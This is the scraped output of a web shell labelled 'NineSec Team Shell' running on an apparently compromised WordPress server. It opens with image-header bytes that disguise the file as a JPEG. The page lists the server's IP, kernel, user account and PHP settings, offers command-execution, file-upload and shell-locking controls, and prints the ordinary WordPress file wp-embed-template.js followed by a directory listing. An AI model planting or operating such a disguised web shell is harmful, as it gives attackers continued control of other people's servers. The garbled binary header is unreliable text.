�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/Maildir/../public_html/wp-includes/../wp-includes/js/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/Maildir/../public_html/wp-includes/../wp-includes/js/wp-embed-template.js
/**
 * @output wp-includes/js/wp-embed-template.js
 */
(function ( window, document ) {
	'use strict';

	var supportedBrowser = ( document.querySelector && window.addEventListener ),
		loaded = false,
		secret,
		secretTimeout,
		resizing;

	function sendEmbedMessage( message, value ) {
		window.parent.postMessage( {
			message: message,
			value: value,
			secret: secret
		}, '*' );
	}

	/**
	 * Send the height message to the parent window.
	 */
	function sendHeightMessage() {
		sendEmbedMessage( 'height', Math.ceil( document.body.getBoundingClientRect().height ) );
	}

	function onLoad() {
		if ( loaded ) {
			return;
		}
		loaded = true;

		var share_dialog = document.querySelector( '.wp-embed-share-dialog' ),
			share_dialog_open = document.querySelector( '.wp-embed-share-dialog-open' ),
			share_dialog_close = document.querySelector( '.wp-embed-share-dialog-close' ),
			share_input = document.querySelectorAll( '.wp-embed-share-input' ),
			share_dialog_tabs = document.querySelectorAll( '.wp-embed-share-tab-button button' ),
			featured_image = document.querySelector( '.wp-embed-featured-image img' ),
			i;

		if ( share_input ) {
			for ( i = 0; i < share_input.length; i++ ) {
				share_input[ i ].addEventListener( 'click', function ( e ) {
					e.target.select();
				} );
			}
		}

		function openSharingDialog() {
			share_dialog.className = share_dialog.className.replace( 'hidden', '' );
			// Initial focus should go on the currently selected tab in the dialog.
			document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' ).focus();
		}

		function closeSharingDialog() {
			share_dialog.className += ' hidden';
			document.querySelector( '.wp-embed-share-dialog-open' ).focus();
		}

		if ( share_dialog_open ) {
			share_dialog_open.addEventListener( 'click', function () {
				openSharingDialog();
			} );
		}

		if ( share_dialog_close ) {
			share_dialog_close.addEventListener( 'click', function () {
				closeSharingDialog();
			} );
		}

		function shareClickHandler( e ) {
			var currentTab = document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' );
			currentTab.setAttribute( 'aria-selected', 'false' );
			document.querySelector( '#' + currentTab.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'true' );

			e.target.setAttribute( 'aria-selected', 'true' );
			document.querySelector( '#' + e.target.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'false' );
		}

		function shareKeyHandler( e ) {
			var target = e.target,
				previousSibling = target.parentElement.previousElementSibling,
				nextSibling = target.parentElement.nextElementSibling,
				newTab, newTabChild;

			if ( 37 === e.keyCode ) {
				newTab = previousSibling;
			} else if ( 39 === e.keyCode ) {
				newTab = nextSibling;
			} else {
				return false;
			}

			if ( 'rtl' === document.documentElement.getAttribute( 'dir' ) ) {
				newTab = ( newTab === previousSibling ) ? nextSibling : previousSibling;
			}

			if ( newTab ) {
				newTabChild = newTab.firstElementChild;

				target.setAttribute( 'tabindex', '-1' );
				target.setAttribute( 'aria-selected', false );
				document.querySelector( '#' + target.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'true' );

				newTabChild.setAttribute( 'tabindex', '0' );
				newTabChild.setAttribute( 'aria-selected', 'true' );
				newTabChild.focus();
				document.querySelector( '#' + newTabChild.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'false' );
			}
		}

		if ( share_dialog_tabs ) {
			for ( i = 0; i < share_dialog_tabs.length; i++ ) {
				share_dialog_tabs[ i ].addEventListener( 'click', shareClickHandler );

				share_dialog_tabs[ i ].addEventListener( 'keydown', shareKeyHandler );
			}
		}

		document.addEventListener( 'keydown', function ( e ) {
			if ( 27 === e.keyCode && -1 === share_dialog.className.indexOf( 'hidden' ) ) {
				closeSharingDialog();
			} else if ( 9 === e.keyCode ) {
				constrainTabbing( e );
			}
		}, false );

		function constrainTabbing( e ) {
			// Need to re-get the selected tab each time.
			var firstFocusable = document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' );

			if ( share_dialog_close === e.target && ! e.shiftKey ) {
				firstFocusable.focus();
				e.preventDefault();
			} else if ( firstFocusable === e.target && e.shiftKey ) {
				share_dialog_close.focus();
				e.preventDefault();
			}
		}

		if ( window.self === window.top ) {
			return;
		}

		// Send this document's height to the parent (embedding) site.
		sendHeightMessage();

		// Send the document's height again after the featured image has been loaded.
		if ( featured_image ) {
			featured_image.addEventListener( 'load', sendHeightMessage );
		}

		/**
		 * Detect clicks to external (_top) links.
		 */
		function linkClickHandler( e ) {
			var target = e.target,
				href;
			if ( target.hasAttribute( 'href' ) ) {
				href = target.getAttribute( 'href' );
			} else {
				href = target.parentElement.getAttribute( 'href' );
			}

			// Only catch clicks from the primary mouse button, without any modifiers.
			if ( event.altKey || event.ctrlKey || event.metaKey || event.shiftKey ) {
				return;
			}

			// Send link target to the parent (embedding) site.
			if ( href ) {
				sendEmbedMessage( 'link', href );
				e.preventDefault();
			}
		}

		document.addEventListener( 'click', linkClickHandler );
	}

	/**
	 * Iframe resize handler.
	 */
	function onResize() {
		if ( window.self === window.top ) {
			return;
		}

		clearTimeout( resizing );

		resizing = setTimeout( sendHeightMessage, 100 );
	}

	/**
	 * Message handler.
	 *
	 * @param {MessageEvent} event
	 */
	function onMessage( event ) {
		var data = event.data;

		if ( ! data ) {
			return;
		}

		if ( event.source !== window.parent ) {
			return;
		}

		if ( ! ( data.secret || data.message ) ) {
			return;
		}

		if ( data.secret !== secret ) {
			return;
		}

		if ( 'ready' === data.message ) {
			sendHeightMessage();
		}
	}

	/**
	 * Re-get the secret when it was added later on.
	 */
	function getSecret() {
		if ( window.self === window.top || !!secret ) {
			return;
		}

		secret = window.location.hash.replace( /.*secret=([\d\w]{10}).*/, '$1' );

		clearTimeout( secretTimeout );

		secretTimeout = setTimeout( function () {
			getSecret();
		}, 100 );
	}

	if ( supportedBrowser ) {
		getSecret();
		document.documentElement.className = document.documentElement.className.replace( /\bno-js\b/, '' ) + ' js';
		document.addEventListener( 'DOMContentLoaded', onLoad, false );
		window.addEventListener( 'load', onLoad, false );
		window.addEventListener( 'resize', onResize, false );
		window.addEventListener( 'message', onMessage, false );
	}
})( window, document );

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 03 2025 4:09:51
readytorun
0755
codemirror
--
November 25 2021 9:10:13
readytorun
0755
crop
--
November 25 2021 9:10:13
readytorun
0755
dist
--
December 03 2025 4:09:51
readytorun
0755
imgareaselect
--
November 25 2021 9:10:13
readytorun
0755
jcrop
--
November 25 2021 9:10:13
readytorun
0755
jquery
--
November 25 2021 9:10:13
readytorun
0755
mediaelement
--
November 25 2021 9:10:13
readytorun
0755
plupload
--
November 25 2021 9:10:13
readytorun
0755
swfupload
--
November 25 2021 9:10:13
readytorun
0755
thickbox
--
November 25 2021 9:10:13
readytorun
0755
tinymce
--
November 25 2021 9:10:13
readytorun
0755
admin-bar.js
10.3 KB
July 17 2024 12:09:28
readytorun
0644
admin-bar.min.js
3.405 KB
July 17 2024 12:09:28
readytorun
0644
api-request.js
3.246 KB
November 25 2021 9:10:13
readytorun
0644
api-request.min.js
0.999 KB
May 25 2022 12:14:08
readytorun
0644
autosave.js
21.949 KB
April 16 2025 1:08:18
readytorun
0644
autosave.min.js
5.671 KB
March 30 2023 12:08:13
readytorun
0644
backbone.js
78.506 KB
November 12 2024 11:09:05
readytorun
0644
backbone.min.js
23.731 KB
April 16 2025 1:08:18
readytorun
0644
clipboard.js
26.179 KB
November 02 2022 11:10:55
readytorun
0644
clipboard.min.js
8.798 KB
November 02 2022 11:10:55
readytorun
0644
colorpicker.js
28.401 KB
November 25 2021 9:10:13
readytorun
0644
colorpicker.min.js
16.111 KB
April 16 2025 1:08:18
readytorun
0644
comment-reply.js
12.22 KB
November 12 2024 11:09:05
readytorun
0644
comment-reply.min.js
2.955 KB
November 12 2024 11:09:05
readytorun
0644
customize-base.js
25.217 KB
August 09 2023 12:04:55
readytorun
0644
customize-base.min.js
7.668 KB
March 30 2023 12:08:13
readytorun
0644
customize-loader.js
7.718 KB
July 17 2024 12:09:28
readytorun
0644
customize-loader.min.js
3.468 KB
March 30 2023 12:08:13
readytorun
0644
customize-models.js
6.661 KB
November 25 2021 9:10:13
readytorun
0644
customize-models.min.js
3.595 KB
March 30 2023 12:08:13
readytorun
0644
customize-preview-nav-menus.js
14.672 KB
November 25 2021 9:10:13
readytorun
0644
customize-preview-nav-menus.min.js
4.915 KB
April 16 2025 1:08:18
readytorun
0644
customize-preview-widgets.js
22.708 KB
November 25 2021 9:10:13
readytorun
0644
customize-preview-widgets.min.js
7.637 KB
April 16 2025 1:08:18
readytorun
0644
customize-preview.js
27.927 KB
December 03 2025 4:09:51
readytorun
0644
customize-preview.min.js
10.753 KB
December 03 2025 4:09:51
readytorun
0644
customize-selective-refresh.js
32.554 KB
July 17 2024 12:09:28
readytorun
0644
customize-selective-refresh.min.js
10.442 KB
April 16 2025 1:08:18
readytorun
0644
customize-views.js
5.1 KB
December 03 2025 4:09:51
readytorun
0644
customize-views.min.js
2.507 KB
December 03 2025 4:09:51
readytorun
0644
heartbeat.js
23.488 KB
November 12 2024 11:09:05
readytorun
0644
heartbeat.min.js
5.808 KB
November 12 2024 11:09:05
readytorun
0644
hoverIntent.js
7.056 KB
January 25 2022 11:08:17
readytorun
0644
hoverIntent.min.js
1.464 KB
May 25 2022 12:14:08
readytorun
0644
hoverintent-js.min.js
1.678 KB
November 25 2021 9:10:13
readytorun
0644
imagesloaded.min.js
5.391 KB
November 07 2023 11:08:16
readytorun
0644
json2.js
0.03 KB
December 03 2025 4:09:51
readytorun
0644
json2.min.js
0.034 KB
December 03 2025 4:09:51
readytorun
0644
masonry.min.js
23.572 KB
November 25 2021 9:10:13
readytorun
0644
mce-view.js
25.243 KB
November 07 2023 11:08:16
readytorun
0644
mce-view.min.js
9.541 KB
November 07 2023 11:08:16
readytorun
0644
media-audiovideo.js
24.237 KB
April 16 2025 1:08:18
readytorun
0644
media-audiovideo.min.js
11.77 KB
April 16 2025 1:08:18
readytorun
0644
media-editor.js
28.437 KB
November 25 2021 9:10:13
readytorun
0644
media-editor.min.js
10.63 KB
March 30 2023 12:08:13
readytorun
0644
media-grid.js
26.153 KB
December 03 2025 4:09:51
readytorun
0644
media-grid.min.js
12.982 KB
December 03 2025 4:09:51
readytorun
0644
media-models.js
42.582 KB
April 16 2025 1:08:18
readytorun
0644
media-models.min.js
12.973 KB
April 16 2025 1:08:18
readytorun
0644
media-views.js
266.992 KB
December 03 2025 4:09:51
readytorun
0644
media-views.min.js
108.176 KB
December 03 2025 4:09:51
readytorun
0644
quicktags.js
22.071 KB
November 25 2021 9:10:13
readytorun
0644
quicktags.min.js
10.871 KB
March 30 2023 12:08:13
readytorun
0644
shortcode.js
10.506 KB
November 25 2021 9:10:13
readytorun
0644
shortcode.min.js
2.581 KB
November 02 2022 11:10:55
readytorun
0644
swfobject.js
0 KB
December 03 2025 4:09:51
readytorun
0644
swfobject.min.js
0.034 KB
December 03 2025 4:09:51
readytorun
0644
tw-sack.js
4.854 KB
December 03 2025 4:09:51
readytorun
0644
tw-sack.min.js
3.211 KB
May 25 2022 12:14:08
readytorun
0644
twemoji.js
36.318 KB
December 03 2025 4:09:51
readytorun
0644
twemoji.min.js
19.393 KB
December 03 2025 4:09:51
readytorun
0644
underscore.js
67.124 KB
November 12 2024 11:09:05
readytorun
0644
underscore.min.js
18.462 KB
April 16 2025 1:08:18
readytorun
0644
utils.js
4.556 KB
November 25 2021 9:10:13
readytorun
0644
utils.min.js
1.82 KB
November 02 2022 11:10:55
readytorun
0644
wp-ajax-response.js
3.812 KB
April 16 2025 1:08:18
readytorun
0644
wp-ajax-response.min.js
2.511 KB
April 16 2025 1:08:18
readytorun
0644
wp-api.js
45.882 KB
March 30 2023 12:08:13
readytorun
0644
wp-api.min.js
14.338 KB
March 30 2023 12:08:13
readytorun
0644
wp-auth-check.js
4.108 KB
November 25 2021 9:10:13
readytorun
0644
wp-auth-check.min.js
1.619 KB
November 25 2021 9:10:13
readytorun
0644
wp-backbone.js
14.884 KB
July 17 2024 12:09:28
readytorun
0644
wp-backbone.min.js
2.968 KB
May 25 2022 12:14:08
readytorun
0644
wp-custom-header.js
10.22 KB
November 25 2021 9:10:13
readytorun
0644
wp-custom-header.min.js
4.338 KB
March 30 2023 12:08:13
readytorun
0644
wp-embed-template.js
6.62 KB
January 25 2022 11:08:17
readytorun
0644
wp-embed-template.min.js
3.1 KB
May 25 2022 12:14:08
readytorun
0644
wp-embed.js
3.139 KB
November 07 2023 11:08:16
readytorun
0644
wp-embed.min.js
1.222 KB
November 07 2023 11:08:16
readytorun
0644
wp-emoji-loader.js
12.894 KB
December 03 2025 4:09:51
readytorun
0644
wp-emoji-loader.min.js
2.822 KB
December 03 2025 4:09:51
readytorun
0644
wp-emoji-release.min.js
22.229 KB
December 03 2025 4:09:51
readytorun
0644
wp-emoji.js
8.586 KB
December 03 2025 4:09:51
readytorun
0644
wp-emoji.min.js
2.788 KB
December 03 2025 4:09:51
readytorun
0644
wp-list-revisions.js
0.947 KB
November 25 2021 9:10:13
readytorun
0644
wp-list-revisions.min.js
0.583 KB
November 25 2021 9:10:13
readytorun
0644
wp-lists.js
24.722 KB
August 09 2023 12:04:55
readytorun
0644
wp-lists.min.js
7.345 KB
August 09 2023 12:04:55
readytorun
0644
wp-pointer.js
9.993 KB
November 25 2021 9:10:13
readytorun
0644
wp-pointer.min.js
3.536 KB
May 25 2022 12:14:08
readytorun
0644
wp-sanitize.js
1.297 KB
December 03 2025 4:09:51
readytorun
0644
wp-sanitize.min.js
0.434 KB
December 03 2025 4:09:51
readytorun
0644
wp-util.js
4.569 KB
November 02 2022 11:10:55
readytorun
0644
wp-util.min.js
1.393 KB
November 02 2022 11:10:55
readytorun
0644
wpdialog.js
0.556 KB
March 30 2023 12:08:13
readytorun
0644
wpdialog.min.js
0.274 KB
March 30 2023 12:08:13
readytorun
0644
wplink.js
20.742 KB
April 16 2025 1:08:18
readytorun
0644
wplink.min.js
11.052 KB
November 12 2024 11:09:05
readytorun
0644
zxcvbn-async.js
0.802 KB
November 25 2021 9:10:13
readytorun
0644
zxcvbn-async.min.js
0.343 KB
November 25 2021 9:10:13
readytorun
0644
zxcvbn.min.js
802.966 KB
November 25 2021 9:10:13
readytorun
0644

NineSec Team - 2022